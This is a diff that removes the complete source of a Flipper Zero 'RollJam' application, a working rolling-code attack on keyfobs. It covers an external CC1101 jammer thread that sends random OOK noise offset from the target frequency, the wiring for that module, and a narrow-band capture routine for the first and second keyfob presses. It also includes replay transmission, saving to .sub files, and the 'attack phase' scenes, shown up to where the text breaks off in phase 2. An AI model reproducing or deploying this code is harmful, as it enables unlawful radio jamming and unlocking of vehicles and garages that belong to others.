FURI_LOG_I(TAG, "JAM: *** OOK NOISE ACTIVE ***");
uint32_t loops = 0;
uint32_t underflows = 0;
uint32_t refills = 0;
while(app->jam_thread_running) {
loops++;
st = cc_state();
if(st != MARC_TX) {
// Packet finished or underflow - reload and re-enter TX
underflows++;
cc_idle();
cc_strobe(CC_SFTX);
furi_delay_us(100);
// Refill with new random data
for(uint8_t i = 0; i < 62; i++) {
prng ^= prng << 13;
prng ^= prng >> 17;
prng ^= prng << 5;
noise[i] = (uint8_t)(prng & 0xFF);
}
cc_write_burst(CC_TXFIFO, noise, 62);
cc_strobe(CC_STX);
furi_delay_ms(1);
continue;
}
// Check if FIFO needs refilling
txb = cc_txbytes();
if(txb < 20) {
// Refill what we can
uint8_t space = 62 - txb;
if(space > 50) space = 50;
for(uint8_t i = 0; i < space; i++) {
prng ^= prng << 13;
prng ^= prng >> 17;
prng ^= prng << 5;
noise[i] = (uint8_t)(prng & 0xFF);
}
cc_write_burst(CC_TXFIFO, noise, space);
refills++;
}
// Log periodically
if(loops % 500 == 0) {
FURI_LOG_I(TAG, "JAM: active loops=%lu uf=%lu refills=%lu txb=%d st=0x%02X",
loops, underflows, refills, cc_txbytes(), cc_state());
}
// At 1.2 kBaud, 62 bytes last ~413ms
// Check every 50ms - plenty of time
furi_delay_ms(50);
}
cc_idle();
FURI_LOG_I(TAG, "JAM: STOPPED (loops=%lu uf=%lu refills=%lu)", loops, underflows, refills);
return 0;
}
// ============================================================
// GPIO
// ============================================================
void rolljam_ext_gpio_init(void) {
FURI_LOG_I(TAG, "EXT GPIO init");
furi_hal_gpio_init(pin_cs, GpioModeOutputPushPull, GpioPullNo, GpioSpeedVeryHigh);
furi_hal_gpio_write(pin_cs, true);
furi_hal_gpio_init(pin_sck, GpioModeOutputPushPull, GpioPullNo, GpioSpeedVeryHigh);
furi_hal_gpio_write(pin_sck, false);
furi_hal_gpio_init(pin_mosi, GpioModeOutputPushPull, GpioPullNo, GpioSpeedVeryHigh);
furi_hal_gpio_write(pin_mosi, false);
furi_hal_gpio_init(pin_miso, GpioModeInput, GpioPullUp, GpioSpeedVeryHigh);
furi_hal_gpio_init(pin_gdo0, GpioModeInput, GpioPullDown, GpioSpeedVeryHigh);
}
void rolljam_ext_gpio_deinit(void) {
furi_hal_gpio_init(pin_cs, GpioModeAnalog, GpioPullNo, GpioSpeedLow);
furi_hal_gpio_init(pin_sck, GpioModeAnalog, GpioPullNo, GpioSpeedLow);
furi_hal_gpio_init(pin_mosi, GpioModeAnalog, GpioPullNo, GpioSpeedLow);
furi_hal_gpio_init(pin_miso, GpioModeAnalog, GpioPullNo, GpioSpeedLow);
furi_hal_gpio_init(pin_gdo0, GpioModeAnalog, GpioPullNo, GpioSpeedLow);
FURI_LOG_I(TAG, "EXT GPIO deinit");
}
// ============================================================
// Public
// ============================================================
void rolljam_jammer_start(RollJamApp* app) {
if(app->jamming_active) return;
app->jam_frequency = app->frequency + JAM_OFFSET_HZ;
rolljam_ext_power_on();
furi_delay_ms(100);
rolljam_ext_gpio_init();
furi_delay_ms(10);
app->jam_thread_running = true;
app->jam_thread = furi_thread_alloc_ex("RJ_Jam", 4096, jam_thread_worker, app);
furi_thread_start(app->jam_thread);
app->jamming_active = true;
FURI_LOG_I(TAG, ">>> JAMMER STARTED <<<");
}
void rolljam_jammer_stop(RollJamApp* app) {
if(!app->jamming_active) return;
app->jam_thread_running = false;
furi_thread_join(app->jam_thread);
furi_thread_free(app->jam_thread);
app->jam_thread = NULL;
rolljam_ext_gpio_deinit();
rolljam_ext_power_off();
app->jamming_active = false;
FURI_LOG_I(TAG, ">>> JAMMER STOPPED <<<");
}

View File

@@ -1,22 +0,0 @@
#pragma once
#include "../rolljam.h"
/*
* External CC1101 module connected via GPIO (bit-bang SPI).
* Used EXCLUSIVELY for JAMMING (TX).
*
* Wiring (as connected):
* CC1101 VCC -> Flipper Pin 9 (3V3)
* CC1101 GND -> Flipper Pin 11 (GND)
* CC1101 MOSI -> Flipper Pin 2 (PA7)
* CC1101 MISO -> Flipper Pin 3 (PA6)
* CC1101 SCK -> Flipper Pin 5 (PB3)
* CC1101 CS -> Flipper Pin 4 (PA4)
* CC1101 GDO0 -> Flipper Pin 6 (PB2)
*/
void rolljam_ext_gpio_init(void);
void rolljam_ext_gpio_deinit(void);
void rolljam_jammer_start(RollJamApp* app);
void rolljam_jammer_stop(RollJamApp* app);

View File

@@ -1,457 +0,0 @@
#include "rolljam_receiver.h"
#include <furi_hal_subghz.h>
#include <furi_hal_rtc.h>
#define CC_IOCFG0 0x02
#define CC_FIFOTHR 0x03
#define CC_MDMCFG4 0x10
#define CC_MDMCFG3 0x11
#define CC_MDMCFG2 0x12
#define CC_MDMCFG1 0x13
#define CC_MDMCFG0 0x14
#define CC_DEVIATN 0x15
#define CC_MCSM0 0x18
#define CC_FOCCFG 0x19
#define CC_AGCCTRL2 0x1B
#define CC_AGCCTRL1 0x1C
#define CC_AGCCTRL0 0x1D
#define CC_FREND0 0x22
#define CC_FSCAL3 0x23
#define CC_FSCAL2 0x24
#define CC_FSCAL1 0x25
#define CC_FSCAL0 0x26
// ============================================================
// Presets
// ============================================================
static const uint8_t preset_ook_rx[] = {
CC_IOCFG0, 0x0D,
CC_FIFOTHR, 0x47,
CC_MDMCFG4, 0xE7, // RX BW ~58kHz
CC_MDMCFG3, 0x32,
CC_MDMCFG2, 0x30,
CC_MDMCFG1, 0x00,
CC_MDMCFG0, 0x00,
CC_DEVIATN, 0x47,
CC_MCSM0, 0x18,
CC_FOCCFG, 0x16,
CC_AGCCTRL2, 0x07,
CC_AGCCTRL1, 0x00,
CC_AGCCTRL0, 0x91,
CC_FREND0, 0x11,
CC_FSCAL3, 0xEA,
CC_FSCAL2, 0x2A,
CC_FSCAL1, 0x00,
CC_FSCAL0, 0x1F,
0x00, 0x00
};
static const uint8_t preset_fsk_rx[] = {
CC_IOCFG0, 0x0D,
CC_FIFOTHR, 0x47,
CC_MDMCFG4, 0xE7,
CC_MDMCFG3, 0x32,
CC_MDMCFG2, 0x00,
CC_MDMCFG1, 0x00,
CC_MDMCFG0, 0x00,
CC_DEVIATN, 0x15,
CC_MCSM0, 0x18,
CC_FOCCFG, 0x16,
CC_AGCCTRL2, 0x07,
CC_AGCCTRL1, 0x00,
CC_AGCCTRL0, 0x91,
CC_FREND0, 0x10,
CC_FSCAL3, 0xEA,
CC_FSCAL2, 0x2A,
CC_FSCAL1, 0x00,
CC_FSCAL0, 0x1F,
0x00, 0x00
};
static const uint8_t preset_ook_tx[] = {
CC_IOCFG0, 0x0D,
CC_FIFOTHR, 0x47,
CC_MDMCFG4, 0x8C,
CC_MDMCFG3, 0x32,
CC_MDMCFG2, 0x30,
CC_MDMCFG1, 0x00,
CC_MDMCFG0, 0x00,
CC_DEVIATN, 0x47,
CC_MCSM0, 0x18,
CC_FOCCFG, 0x16,
CC_AGCCTRL2, 0x07,
CC_AGCCTRL1, 0x00,
CC_AGCCTRL0, 0x91,
CC_FREND0, 0x11,
CC_FSCAL3, 0xEA,
CC_FSCAL2, 0x2A,
CC_FSCAL1, 0x00,
CC_FSCAL0, 0x1F,
0x00, 0x00
};
// ============================================================
// Capture state machine
// ============================================================
#define MIN_PULSE_US 50
#define MAX_PULSE_US 5000
#define SILENCE_GAP_US 10000
#define MIN_FRAME_PULSES 40
#define AUTO_ACCEPT_PULSES 150
typedef enum {
CapWaiting,
CapRecording,
CapDone,
} CapState;
static volatile CapState cap_state;
static volatile int cap_valid_count;
static volatile int cap_total_count;
static volatile bool cap_target_first;
static volatile uint32_t cap_callback_count;
static void capture_rx_callback(bool level, uint32_t duration, void* context) {
RollJamApp* app = context;
if(!app->raw_capture_active) return;
if(cap_state == CapDone) return;
cap_callback_count++;
RawSignal* target;
if(cap_target_first) {
target = &app->signal_first;
if(target->valid) return;
} else {
target = &app->signal_second;
if(target->valid) return;
}
uint32_t dur = duration;
if(dur > 32767) dur = 32767;
switch(cap_state) {
case CapWaiting:
if(dur >= MIN_PULSE_US && dur <= MAX_PULSE_US) {
target->size = 0;
cap_valid_count = 0;
cap_total_count = 0;
cap_state = CapRecording;
int16_t s = level ? (int16_t)dur : -(int16_t)dur;
target->data[target->size++] = s;
cap_valid_count++;
cap_total_count++;
}
break;
case CapRecording:
if(target->size >= RAW_SIGNAL_MAX_SIZE) {
if(cap_valid_count >= MIN_FRAME_PULSES) {
cap_state = CapDone;
} else {
target->size = 0;
cap_valid_count = 0;
cap_total_count = 0;
cap_state = CapWaiting;
}
return;
}
if(dur > SILENCE_GAP_US) {
if(cap_valid_count >= MIN_FRAME_PULSES) {
if(target->size < RAW_SIGNAL_MAX_SIZE) {
int16_t s = level ? (int16_t)32767 : -32767;
target->data[target->size++] = s;
}
cap_state = CapDone;
} else {
target->size = 0;
cap_valid_count = 0;
cap_total_count = 0;
cap_state = CapWaiting;
}
return;
}
{
int16_t s = level ? (int16_t)dur : -(int16_t)dur;
target->data[target->size++] = s;
cap_total_count++;
if(dur >= MIN_PULSE_US && dur <= MAX_PULSE_US) {
cap_valid_count++;
if(cap_valid_count >= AUTO_ACCEPT_PULSES) {
cap_state = CapDone;
}
}
}
break;
case CapDone:
break;
}
}
// ============================================================
// Capture start/stop
// ============================================================
void rolljam_capture_start(RollJamApp* app) {
FURI_LOG_I(TAG, "Capture start: freq=%lu mod=%d", app->frequency, app->mod_index);
// Full radio reset sequence
furi_hal_subghz_reset();
furi_delay_ms(10);
furi_hal_subghz_idle();
furi_delay_ms(10);
const uint8_t* preset;
switch(app->mod_index) {
case ModIndex_FM238:
case ModIndex_FM476:
preset = preset_fsk_rx;
break;
default:
preset = preset_ook_rx;
break;
}
furi_hal_subghz_load_custom_preset(preset);
furi_delay_ms(5);
uint32_t real_freq = furi_hal_subghz_set_frequency(app->frequency);
FURI_LOG_I(TAG, "Capture: freq set to %lu", real_freq);
furi_delay_ms(5);
// Reset state machine
cap_state = CapWaiting;
cap_valid_count = 0;
cap_total_count = 0;
cap_callback_count = 0;
// Determine target
if(!app->signal_first.valid) {
cap_target_first = true;
app->signal_first.size = 0;
app->signal_first.valid = false;
FURI_LOG_I(TAG, "Capture target: FIRST signal");
} else {
cap_target_first = false;
app->signal_second.size = 0;
app->signal_second.valid = false;
FURI_LOG_I(TAG, "Capture target: SECOND signal (first already valid, size=%d)",
app->signal_first.size);
}
app->raw_capture_active = true;
furi_hal_subghz_start_async_rx(capture_rx_callback, app);
FURI_LOG_I(TAG, "Capture: RX STARTED, active=%d, target_first=%d",
app->raw_capture_active, cap_target_first);
}
void rolljam_capture_stop(RollJamApp* app) {
if(!app->raw_capture_active) {
FURI_LOG_W(TAG, "Capture stop: was not active");
return;
}
app->raw_capture_active = false;
furi_hal_subghz_stop_async_rx();
furi_delay_ms(5);
furi_hal_subghz_idle();
furi_delay_ms(5);
FURI_LOG_I(TAG, "Capture stopped. callbacks=%lu capState=%d validCnt=%d totalCnt=%d",
cap_callback_count, cap_state, cap_valid_count, cap_total_count);
FURI_LOG_I(TAG, " Sig1: size=%d valid=%d", app->signal_first.size, app->signal_first.valid);
FURI_LOG_I(TAG, " Sig2: size=%d valid=%d", app->signal_second.size, app->signal_second.valid);
}
// ============================================================
// Validation
// ============================================================
bool rolljam_signal_is_valid(RawSignal* signal) {
if(cap_state != CapDone) {
// Log every few checks so we can see if callbacks are happening
static int check_count = 0;
check_count++;
if(check_count % 10 == 0) {
FURI_LOG_D(TAG, "Validate: not done yet, state=%d callbacks=%lu valid=%d total=%d sig_size=%d",
cap_state, cap_callback_count, cap_valid_count, cap_total_count, signal->size);
}
return false;
}
if(signal->size < MIN_FRAME_PULSES) return false;
int good = 0;
int total = (int)signal->size;
for(int i = 0; i < total; i++) {
int16_t val = signal->data[i];
int16_t abs_val = val > 0 ? val : -val;
if(abs_val >= MIN_PULSE_US && abs_val <= MAX_PULSE_US) {
good++;
}
}
int ratio_pct = (total > 0) ? ((good * 100) / total) : 0;
if(ratio_pct > 50 && good >= MIN_FRAME_PULSES) {
FURI_LOG_I(TAG, "Signal VALID: %d/%d (%d%%) samples=%d",
good, total, ratio_pct, total);
return true;
}
FURI_LOG_D(TAG, "Signal rejected: %d/%d (%d%%), reset", good, total, ratio_pct);
signal->size = 0;
cap_state = CapWaiting;
cap_valid_count = 0;
cap_total_count = 0;
return false;
}
// ============================================================
// TX
// ============================================================
typedef struct {
const int16_t* data;
size_t size;
volatile size_t index;
} TxCtx;
static TxCtx g_tx;
static LevelDuration tx_feed(void* context) {
UNUSED(context);
if(g_tx.index >= g_tx.size) return level_duration_reset();
int16_t sample = g_tx.data[g_tx.index++];
bool level = (sample > 0);
uint32_t dur = (uint32_t)(sample > 0 ? sample : -sample);
return level_duration_make(level, dur);
}
void rolljam_transmit_signal(RollJamApp* app, RawSignal* signal) {
if(!signal->valid || signal->size == 0) {
FURI_LOG_E(TAG, "TX: no valid signal");
return;
}
FURI_LOG_I(TAG, "TX: %d samples at %lu Hz", signal->size, app->frequency);
furi_hal_subghz_reset();
furi_hal_subghz_idle();
furi_delay_ms(10);
furi_hal_subghz_load_custom_preset(preset_ook_tx);
uint32_t real_freq = furi_hal_subghz_set_frequency(app->frequency);
FURI_LOG_I(TAG, "TX: freq=%lu", real_freq);
g_tx.data = signal->data;
g_tx.size = signal->size;
g_tx.index = 0;
if(!furi_hal_subghz_start_async_tx(tx_feed, NULL)) {
FURI_LOG_E(TAG, "TX: start failed!");
furi_hal_subghz_idle();
return;
}
uint32_t timeout = 0;
while(!furi_hal_subghz_is_async_tx_complete()) {
furi_delay_ms(5);
if(++timeout > 2000) {
FURI_LOG_E(TAG, "TX: timeout!");
break;
}
}
furi_hal_subghz_stop_async_tx();
furi_hal_subghz_idle();
FURI_LOG_I(TAG, "TX: done (%d/%d)", g_tx.index, signal->size);
}
// ============================================================
// Save
// ============================================================
void rolljam_save_signal(RollJamApp* app, RawSignal* signal) {
if(!signal->valid || signal->size == 0) {
FURI_LOG_E(TAG, "Save: no signal");
return;
}
DateTime dt;
furi_hal_rtc_get_datetime(&dt);
FuriString* path = furi_string_alloc_printf(
"/ext/subghz/RJ_%04d%02d%02d_%02d%02d%02d.sub",
dt.year, dt.month, dt.day, dt.hour, dt.minute, dt.second);
FURI_LOG_I(TAG, "Saving: %s", furi_string_get_cstr(path));
Storage* storage = furi_record_open(RECORD_STORAGE);
storage_simply_mkdir(storage, "/ext/subghz");
File* file = storage_file_alloc(storage);
if(storage_file_open(file, furi_string_get_cstr(path), FSAM_WRITE, FSOM_CREATE_ALWAYS)) {
FuriString* line = furi_string_alloc();
furi_string_set(line, "Filetype: Flipper SubGhz RAW File\n");
storage_file_write(file, furi_string_get_cstr(line), furi_string_size(line));
furi_string_printf(line, "Version: 1\n");
storage_file_write(file, furi_string_get_cstr(line), furi_string_size(line));
furi_string_printf(line, "Frequency: %lu\n", app->frequency);
storage_file_write(file, furi_string_get_cstr(line), furi_string_size(line));
const char* pname;
switch(app->mod_index) {
case ModIndex_AM270: pname = "FuriHalSubGhzPresetOok270Async"; break;
case ModIndex_FM238: pname = "FuriHalSubGhzPreset2FSKDev238Async"; break;
case ModIndex_FM476: pname = "FuriHalSubGhzPreset2FSKDev476Async"; break;
default: pname = "FuriHalSubGhzPresetOok650Async"; break;
}
furi_string_printf(line, "Preset: %s\n", pname);
storage_file_write(file, furi_string_get_cstr(line), furi_string_size(line));
furi_string_printf(line, "Protocol: RAW\n");
storage_file_write(file, furi_string_get_cstr(line), furi_string_size(line));
size_t i = 0;
while(i < signal->size) {
furi_string_set(line, "RAW_Data:");
size_t end = i + 512;
if(end > signal->size) end = signal->size;
for(; i < end; i++) {
furi_string_cat_printf(line, " %d", signal->data[i]);
}
furi_string_cat(line, "\n");
storage_file_write(file, furi_string_get_cstr(line), furi_string_size(line));
}
furi_string_free(line);
FURI_LOG_I(TAG, "Saved: %d samples", signal->size);
} else {
FURI_LOG_E(TAG, "Save failed!");
}
storage_file_close(file);
storage_file_free(file);
furi_record_close(RECORD_STORAGE);
furi_string_free(path);
}

View File

@@ -1,31 +0,0 @@
#pragma once
#include "../rolljam.h"
/*
* Internal CC1101 raw signal capture and transmission.
*
* Capture: uses narrow RX bandwidth so the offset jamming
* from the external CC1101 is filtered out.
*
* The captured raw data is stored as signed int16 values:
* positive = high-level duration (microseconds)
* negative = low-level duration (microseconds)
*
* This matches the Flipper .sub RAW format.
*/
// Start raw capture on internal CC1101
void rolljam_capture_start(RollJamApp* app);
// Stop capture
void rolljam_capture_stop(RollJamApp* app);
// Check if captured signal looks valid (not just noise)
bool rolljam_signal_is_valid(RawSignal* signal);
// Transmit a raw signal via internal CC1101
void rolljam_transmit_signal(RollJamApp* app, RawSignal* signal);
// Save signal to .sub file on SD card
void rolljam_save_signal(RollJamApp* app, RawSignal* signal);

View File

@@ -1,21 +0,0 @@
applications_user/rolljam/
├── application.fam
├── rolljam.png (icon 10x10)
├── rolljam.c
├── rolljam_icons.h
├── scenes/
│ ├── rolljam_scene.h
│ ├── rolljam_scene_config.h
│ ├── rolljam_scene_menu.c
│ ├── rolljam_scene_attack_phase1.c
│ ├── rolljam_scene_attack_phase2.c
│ ├── rolljam_scene_attack_phase3.c
│ └── rolljam_scene_result.c
├── helpers/
│ ├── rolljam_cc1101_ext.h
│ ├── rolljam_cc1101_ext.c
│ ├── rolljam_receiver.h
│ └── rolljam_receiver.c
└── views/
├── rolljam_attack_view.h
└── rolljam_attack_view.c

View File

@@ -1,215 +0,0 @@
#include "rolljam.h"
#include "scenes/rolljam_scene.h"
#include "helpers/rolljam_cc1101_ext.h"
#include "helpers/rolljam_receiver.h"
#include "helpers/rolljam_cc1101_ext.h"
// ============================================================
// Frequency / modulation tables
// ============================================================
const uint32_t freq_values[] = {
300000000,
303875000,
315000000,
318000000,
390000000,
433075000,
433920000,
434420000,
438900000,
868350000,
915000000,
};
const char* freq_names[] = {
"300.00",
"303.87",
"315.00",
"318.00",
"390.00",
"433.07",
"433.92",
"434.42",
"438.90",
"868.35",
"915.00",
};
const char* mod_names[] = {
"AM 650",
"AM 270",
"FM 238",
"FM 476",
};
// ============================================================
// Scene handlers table (extern declarations in scene header)
// ============================================================
void (*const rolljam_scene_on_enter_handlers[])(void*) = {
rolljam_scene_menu_on_enter,
rolljam_scene_attack_phase1_on_enter,
rolljam_scene_attack_phase2_on_enter,
rolljam_scene_attack_phase3_on_enter,
rolljam_scene_result_on_enter,
};
bool (*const rolljam_scene_on_event_handlers[])(void*, SceneManagerEvent) = {
rolljam_scene_menu_on_event,
rolljam_scene_attack_phase1_on_event,
rolljam_scene_attack_phase2_on_event,
rolljam_scene_attack_phase3_on_event,
rolljam_scene_result_on_event,
};
void (*const rolljam_scene_on_exit_handlers[])(void*) = {
rolljam_scene_menu_on_exit,
rolljam_scene_attack_phase1_on_exit,
rolljam_scene_attack_phase2_on_exit,
rolljam_scene_attack_phase3_on_exit,
rolljam_scene_result_on_exit,
};
const SceneManagerHandlers rolljam_scene_handlers = {
.on_enter_handlers = rolljam_scene_on_enter_handlers,
.on_event_handlers = rolljam_scene_on_event_handlers,
.on_exit_handlers = rolljam_scene_on_exit_handlers,
.scene_num = RollJamSceneCount,
};
// ============================================================
// Navigation callbacks
// ============================================================
static bool rolljam_navigation_callback(void* context) {
RollJamApp* app = context;
return scene_manager_handle_back_event(app->scene_manager);
}
static bool rolljam_custom_event_callback(void* context, uint32_t event) {
RollJamApp* app = context;
return scene_manager_handle_custom_event(app->scene_manager, event);
}
// ============================================================
// App alloc
// ============================================================
static RollJamApp* rolljam_app_alloc(void) {
RollJamApp* app = malloc(sizeof(RollJamApp));
memset(app, 0, sizeof(RollJamApp));
// Defaults
app->freq_index = FreqIndex_433_92;
app->frequency = freq_values[FreqIndex_433_92];
app->mod_index = ModIndex_AM650;
// Services
app->gui = furi_record_open(RECORD_GUI);
app->notification = furi_record_open(RECORD_NOTIFICATION);
app->storage = furi_record_open(RECORD_STORAGE);
// Scene manager
app->scene_manager = scene_manager_alloc(&rolljam_scene_handlers, app);
// View dispatcher
app->view_dispatcher = view_dispatcher_alloc();
view_dispatcher_set_event_callback_context(app->view_dispatcher, app);
view_dispatcher_set_custom_event_callback(
app->view_dispatcher, rolljam_custom_event_callback);
view_dispatcher_set_navigation_event_callback(
app->view_dispatcher, rolljam_navigation_callback);
view_dispatcher_attach_to_gui(
app->view_dispatcher, app->gui, ViewDispatcherTypeFullscreen);
// Variable item list
app->var_item_list = variable_item_list_alloc();
view_dispatcher_add_view(
app->view_dispatcher,
RollJamViewVarItemList,
variable_item_list_get_view(app->var_item_list));
// Widget
app->widget = widget_alloc();
view_dispatcher_add_view(
app->view_dispatcher,
RollJamViewWidget,
widget_get_view(app->widget));
// Dialog
app->dialog_ex = dialog_ex_alloc();
view_dispatcher_add_view(
app->view_dispatcher,
RollJamViewDialogEx,
dialog_ex_get_view(app->dialog_ex));
// Popup
app->popup = popup_alloc();
view_dispatcher_add_view(
app->view_dispatcher,
RollJamViewPopup,
popup_get_view(app->popup));
return app;
}
// ============================================================
// App free
// ============================================================
static void rolljam_app_free(RollJamApp* app) {
// Safety: stop everything
if(app->jamming_active) {
rolljam_jammer_stop(app);
}
if(app->raw_capture_active) {
rolljam_capture_stop(app);
}
// Remove views
view_dispatcher_remove_view(app->view_dispatcher, RollJamViewVarItemList);
variable_item_list_free(app->var_item_list);
view_dispatcher_remove_view(app->view_dispatcher, RollJamViewWidget);
widget_free(app->widget);
view_dispatcher_remove_view(app->view_dispatcher, RollJamViewDialogEx);
dialog_ex_free(app->dialog_ex);
view_dispatcher_remove_view(app->view_dispatcher, RollJamViewPopup);
popup_free(app->popup);
// Core
scene_manager_free(app->scene_manager);
view_dispatcher_free(app->view_dispatcher);
// Services
furi_record_close(RECORD_GUI);
furi_record_close(RECORD_NOTIFICATION);
furi_record_close(RECORD_STORAGE);
free(app);
}
// ============================================================
// Entry point
// ============================================================
int32_t rolljam_app(void* p) {
UNUSED(p);
RollJamApp* app = rolljam_app_alloc();
FURI_LOG_I(TAG, "=== RollJam Started ===");
FURI_LOG_I(TAG, "Internal CC1101 = RX capture (narrow BW)");
FURI_LOG_I(TAG, "External CC1101 = TX jam (offset +%lu Hz)", (uint32_t)JAM_OFFSET_HZ);
scene_manager_next_scene(app->scene_manager, RollJamSceneMenu);
view_dispatcher_run(app->view_dispatcher);
rolljam_app_free(app);
FURI_LOG_I(TAG, "=== RollJam Stopped ===");
return 0;
}

View File

@@ -1,143 +0,0 @@
#pragma once
#include <furi.h>
#include <furi_hal.h>
#include <gui/gui.h>
#include <gui/view_dispatcher.h>
#include <gui/scene_manager.h>
#include <gui/modules/submenu.h>
#include <gui/modules/popup.h>
#include <gui/modules/variable_item_list.h>
#include <gui/modules/widget.h>
#include <gui/modules/dialog_ex.h>
#include <notification/notification.h>
#include <notification/notification_messages.h>
#include <storage/storage.h>
#include <stdlib.h>
#include <string.h>
#define TAG "RollJam"
// ============================================================
// Jam offset: external CC1101 transmits at target + this offset
// Victim receiver (wide BW ~300kHz) sees the jam
// Our internal CC1101 (narrow BW ~58kHz) rejects it
// ============================================================
#define JAM_OFFSET_HZ 700000
// Max raw signal buffer
#define RAW_SIGNAL_MAX_SIZE 4096
// ============================================================
// Frequencies
// ============================================================
typedef enum {
FreqIndex_300_00 = 0,
FreqIndex_303_87,
FreqIndex_315_00,
FreqIndex_318_00,
FreqIndex_390_00,
FreqIndex_433_07,
FreqIndex_433_92,
FreqIndex_434_42,
FreqIndex_438_90,
FreqIndex_868_35,
FreqIndex_915_00,
FreqIndex_COUNT,
} FreqIndex;
extern const uint32_t freq_values[];
extern const char* freq_names[];
// ============================================================
// Modulations
// ============================================================
typedef enum {
ModIndex_AM650 = 0,
ModIndex_AM270,
ModIndex_FM238,
ModIndex_FM476,
ModIndex_COUNT,
} ModIndex;
extern const char* mod_names[];
// ============================================================
// Scenes
// ============================================================
typedef enum {
RollJamSceneMenu,
RollJamSceneAttackPhase1,
RollJamSceneAttackPhase2,
RollJamSceneAttackPhase3,
RollJamSceneResult,
RollJamSceneCount,
} RollJamScene;
// ============================================================
// Views
// ============================================================
typedef enum {
RollJamViewVarItemList,
RollJamViewWidget,
RollJamViewDialogEx,
RollJamViewPopup,
} RollJamView;
// ============================================================
// Custom events
// ============================================================
typedef enum {
RollJamEventStartAttack = 100,
RollJamEventSignalCaptured,
RollJamEventPhase3Done,
RollJamEventReplayNow,
RollJamEventSaveSignal,
RollJamEventBack,
} RollJamEvent;
// ============================================================
// Raw signal container
// ============================================================
typedef struct {
int16_t data[RAW_SIGNAL_MAX_SIZE];
size_t size;
bool valid;
} RawSignal;
// ============================================================
// Main app struct
// ============================================================
typedef struct {
// Core
Gui* gui;
ViewDispatcher* view_dispatcher;
SceneManager* scene_manager;
NotificationApp* notification;
Storage* storage;
// Views / modules
VariableItemList* var_item_list;
Widget* widget;
DialogEx* dialog_ex;
Popup* popup;
// Settings
FreqIndex freq_index;
ModIndex mod_index;
uint32_t frequency;
uint32_t jam_frequency;
// Captured signals
RawSignal signal_first;
RawSignal signal_second;
// Jamming state
bool jamming_active;
FuriThread* jam_thread;
volatile bool jam_thread_running;
// Capture state
volatile bool raw_capture_active;
} RollJamApp;

Binary file not shown.

Before

Width:  |  Height:  |  Size: 90 B

View File

@@ -1,9 +0,0 @@
#pragma once
// Icon assets are auto-generated by the build system
// from the images/ folder. If no custom icons are needed,
// this file can remain minimal.
// If you place .png files in an images/ folder,
// the build system generates icon references automatically.
// Access them via &I_iconname

View File

@@ -1,27 +0,0 @@
#pragma once
#include "../rolljam.h"
// Scene on_enter
void rolljam_scene_menu_on_enter(void* context);
void rolljam_scene_attack_phase1_on_enter(void* context);
void rolljam_scene_attack_phase2_on_enter(void* context);
void rolljam_scene_attack_phase3_on_enter(void* context);
void rolljam_scene_result_on_enter(void* context);
// Scene on_event
bool rolljam_scene_menu_on_event(void* context, SceneManagerEvent event);
bool rolljam_scene_attack_phase1_on_event(void* context, SceneManagerEvent event);
bool rolljam_scene_attack_phase2_on_event(void* context, SceneManagerEvent event);
bool rolljam_scene_attack_phase3_on_event(void* context, SceneManagerEvent event);
bool rolljam_scene_result_on_event(void* context, SceneManagerEvent event);
// Scene on_exit
void rolljam_scene_menu_on_exit(void* context);
void rolljam_scene_attack_phase1_on_exit(void* context);
void rolljam_scene_attack_phase2_on_exit(void* context);
void rolljam_scene_attack_phase3_on_exit(void* context);
void rolljam_scene_result_on_exit(void* context);
// Scene manager handlers (defined in rolljam.c)
extern const SceneManagerHandlers rolljam_scene_handlers;

View File

@@ -1,101 +0,0 @@
#include "rolljam_scene.h"
#include "../helpers/rolljam_cc1101_ext.h"
#include "../helpers/rolljam_receiver.h"
// ============================================================
// Phase 1: JAM + CAPTURE first keyfob press
// ============================================================
static void phase1_timer_callback(void* context) {
RollJamApp* app = context;
if(app->signal_first.size > 0 &&
rolljam_signal_is_valid(&app->signal_first)) {
app->signal_first.valid = true;
view_dispatcher_send_custom_event(
app->view_dispatcher, RollJamEventSignalCaptured);
}
}
void rolljam_scene_attack_phase1_on_enter(void* context) {
RollJamApp* app = context;
widget_reset(app->widget);
widget_add_string_element(
app->widget, 64, 2, AlignCenter, AlignTop,
FontPrimary, "PHASE 1 / 4");
widget_add_string_element(
app->widget, 64, 16, AlignCenter, AlignTop,
FontSecondary, "Jamming active...");
widget_add_string_element(
app->widget, 64, 28, AlignCenter, AlignTop,
FontSecondary, "Listening for keyfob");
widget_add_string_element(
app->widget, 64, 42, AlignCenter, AlignTop,
FontPrimary, "PRESS KEYFOB NOW");
widget_add_string_element(
app->widget, 64, 56, AlignCenter, AlignTop,
FontSecondary, "[BACK] cancel");
view_dispatcher_switch_to_view(
app->view_dispatcher, RollJamViewWidget);
// Start jamming
rolljam_jammer_start(app);
// Start capture
rolljam_capture_start(app);
notification_message(app->notification, &sequence_blink_blue_100);
FuriTimer* timer = furi_timer_alloc(
phase1_timer_callback, FuriTimerTypePeriodic, app);
furi_timer_start(timer, 300);
scene_manager_set_scene_state(
app->scene_manager, RollJamSceneAttackPhase1, (uint32_t)timer);
FURI_LOG_I(TAG, "Phase1: waiting for 1st keyfob press...");
}
bool rolljam_scene_attack_phase1_on_event(void* context, SceneManagerEvent event) {
RollJamApp* app = context;
if(event.type == SceneManagerEventTypeCustom) {
if(event.event == RollJamEventSignalCaptured) {
notification_message(app->notification, &sequence_success);
FURI_LOG_I(TAG, "Phase1: 1st signal captured! size=%d",
app->signal_first.size);
// Stop capture cleanly
rolljam_capture_stop(app);
// Jamming stays active!
scene_manager_next_scene(
app->scene_manager, RollJamSceneAttackPhase2);
return true;
}
} else if(event.type == SceneManagerEventTypeBack) {
FURI_LOG_I(TAG, "Phase1: cancelled by user");
rolljam_capture_stop(app);
rolljam_jammer_stop(app);
scene_manager_search_and_switch_to_another_scene(
app->scene_manager, RollJamSceneMenu);
return true;
}
return false;
}
void rolljam_scene_attack_phase1_on_exit(void* context) {
RollJamApp* app = context;
FuriTimer* timer = (FuriTimer*)scene_manager_get_scene_state(
app->scene_manager, RollJamSceneAttackPhase1);
if(timer) {
furi_timer_stop(timer);
furi_timer_free(timer);
}
widget_reset(app->widget);
}

View File

@@ -1,107 +0,0 @@
#include "rolljam_scene.h"
#include "../helpers/rolljam_cc1101_ext.h"
#include "../helpers/rolljam_receiver.h"
// ============================================================
// Phase 2: JAM + CAPTURE second keyfob press
// ============================================================
static void phase2_timer_callback(void* context) {
RollJamApp* app = context;
if(app->signal_second.size > 0 &&
rolljam_signal_is_valid(&app->signal_second)) {
app->signal_second.valid = true;
view_dispatcher_send_custom_event(
app->view_dispatcher, RollJamEventSignalCaptured);
}
}
void rolljam_scene_attack_phase2_on_enter(void* context) {
